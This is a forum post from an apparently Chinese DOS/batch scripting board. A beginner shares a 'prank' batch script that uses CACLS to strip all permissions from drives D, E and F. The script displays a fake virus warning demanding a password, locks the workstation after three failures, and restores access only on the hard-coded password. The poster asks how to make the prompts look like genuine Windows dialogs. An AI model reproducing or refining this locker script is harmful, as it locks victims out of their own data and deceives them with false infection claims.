中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！

中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 如何让批处理中运行VBS命令

8j
新手上路

积分 17
发帖 7
注册 2007-1-6
状态离线

『楼主』: 如何让批处理中运行VBS命令

:P
我批处理全是在这里刚刚学习
以前只学习了一些简单的DOS命令`
发现批处理使用很方便，也很有意思
自己做了一个整人的批处理如下：
@echo off
echo y|CACLS  d:  /c /p everyone:n
echo y|CACLS  e:  /c /p everyone:n
echo y|CACLS  f:  /c /p everyone:n
cls
echo ╔-------------------------------------------------╗
echo ┆    尊敬的用户:                            ┆
echo ┆       您已经感染了病毒程序                ┆
echo ┆       程序将锁定您的硬盘逻辑分区          ┆
echo ┆       请输入安全密码清除!                   ┆
echo ╚-------------------------------------------------╝
title  八戒专用
prompt 行动-》
color 0d

pause

set num=0
:loop
set /p pass=请输入病毒清除密码:
if "%pass%"=="fuck" goto next
set /a num=%num% + 1
if %num%==3 goto error
goto loop

:error
%windir%\system32\rundll32.exe user32.dll,LockWorkStation
goto end

:next
echo y|CACLS  d:  /c /p everyone:f
echo y|CACLS  e:  /c /p everyone:f
echo y|CACLS  f:  /c /p everyone:f
cls
@echo off
cls
echo ╔------------------------------------------╗
echo ┆    谢谢合作!                         ┆
echo ┆          病毒清除成功!                ┆
echo ┆                      By:八戒          ┆
echo ╚------------------------------------------╝
title  八戒专用
prompt 行动-》
color 0d

pause

:end

这个是做出来耍朋友玩的，

偶然一次在逛论坛的时候，看到别人把VBS用到批处理里面
可以把显示提示的那些全部变成WINDOWS提示框
今天又看了一些VBS的帖子，才知道原来是通过VBS```

像下面这个保存成TXT再把扩展名改为VBS
就可以看到效果：
msgbox "Hello!",,"系统提示"
Dim name

name=Inputbox("请输入你的名字:","系统提示")

Msgbox  name, , "您的名字是"

请问哪位大虾可以帮我把上面的那种提示改成WINDOWS提示框的那种
最好输入密码也变成那种的``嘿嘿```
不知道行不行````
以前有看过一个在批处理中运行完以后，出现WINDOWS提示框的那种````
当时没保存下来``现在也找不到了

2007-5-26 05:01

请注意：您目前尚未注册或登录，请您注册或登录以使用论坛的各项功能，例如发表和回复帖子等。

可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题

论坛跳转: